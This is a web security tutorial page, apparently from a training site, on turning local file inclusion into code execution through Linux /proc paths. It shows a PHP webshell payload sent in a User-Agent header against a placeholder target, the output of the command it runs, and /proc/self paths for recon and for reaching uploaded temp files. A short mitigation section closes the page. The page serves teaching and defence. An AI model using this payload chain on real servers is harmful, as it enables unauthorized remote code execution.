File Inclusion: LFI, RFI, and the Road to RCE
/proc and /environ Exploitation through LFI
Abuse the Linux /proc filesystem from an LFI: poison /proc/self/environ for RCE where the SAPI allows it, and use /proc/self/fd and cmdline for recon.
Published
The Linux /proc filesystem exposes a live view of every process, and an LFI that can read it gains both a recon surface and, on the right configuration, a route to code execution. This page covers the environ-poisoning technique and its hard SAPI requirement, plus the /proc/self paths worth reading when environ is out of reach. Practice on a free live target.
Why /proc is a goldmine
/proc/self/ is the kernel's view of the PHP process handling your request: its environment, its command line, its open files, its status. All of it is readable through an LFI as ordinary paths, with no traversal needed since the paths are absolute. The prize is /proc/self/environ, because under the right handler it contains attacker-controlled data that the include will execute.
The SAPI requirement (read this first)
Environ poisoning only works when request headers actually reach the process environment, and that depends on how PHP runs:
- CGI /
php-cgi/mod_cgi: the server exports headers into the environment asHTTP_USER_AGENTand friends. Environ poisoning works here. - PHP-FPM (the common modern setup): headers travel over FastCGI and are not in
/proc/self/environ. There is nothing to poison. - Old Apache
mod_php: historically it sometimes placed headers in the environment, but it is unreliable and not something to count on.
On modern kernels environ is also frequently readable only by the process owner, so even where a header lands there, the include may not be able to read it. Confirm the SAPI before spending time here.
Poison environ and include it
Where the SAPI cooperates, the chain mirrors log poisoning. Send the payload in User-Agent:
GET /index.php?page=/proc/self/environ&c=id HTTP/1.1
Host: target.example
User-Agent: <?php system($_GET['c']); ?>HTTP/1.1 200 OK
Content-Type: text/html
...SERVER_SOFTWARE=Apache SERVER_NAME=target.example HTTP_HOST=target.example HTTP_USER_AGENT=uid=33(www-data) gid=33(www-data) groups=33(www-data)
HTTP_ACCEPT=...Under a CGI handler the server wrote your User-Agent into the process environment as HTTP_USER_AGENT, and including /proc/self/environ loaded and executed it. The rest of the environment comes back around your output, and the null separators between variables may render as artifacts, which is expected. Same primitive as a log, different file.
When environ is out of reach: fd and cmdline
If the SAPI does not cooperate or environ is unreadable, /proc/self still pays off for recon and sometimes execution:
/proc/self/fd/0 /proc/self/fd/1 ... /proc/self/fd/N open file descriptors (incl. upload temps and logs)
/proc/self/cmdline the exact process launch arguments (reveals paths, configs)
/proc/self/status UID/GID, privileges, parent PID for recon
/proc/self/maps loaded libraries and pathsThe standout is /proc/self/fd/N. While PHP handles an upload, the temp file is open on a descriptor, so including the right fd/N can reach a file you uploaded without ever knowing its real path, which pairs directly with file upload. Enumerate N over a small range and watch which include returns your content.
Edge variants
/proc/self/environ current request's env (CGI only)
/proc/<pid>/environ a specific worker, if self is locked and you can guess the pid
/proc/self/fd/7 a plausible descriptor for a just-opened upload or logFixing it
- Prefer PHP-FPM over CGI, which removes header-to-environ exposure as a side effect.
- Restrict the web user with
open_basedirso/procis off the allowed path list for includes. - Do not route user input into
include, which closes every/procpath at once.
Full guidance is in preventing file inclusion. Next, reach RCE through a file you always control, your own session, in PHP session poisoning, or try /proc on a free lab.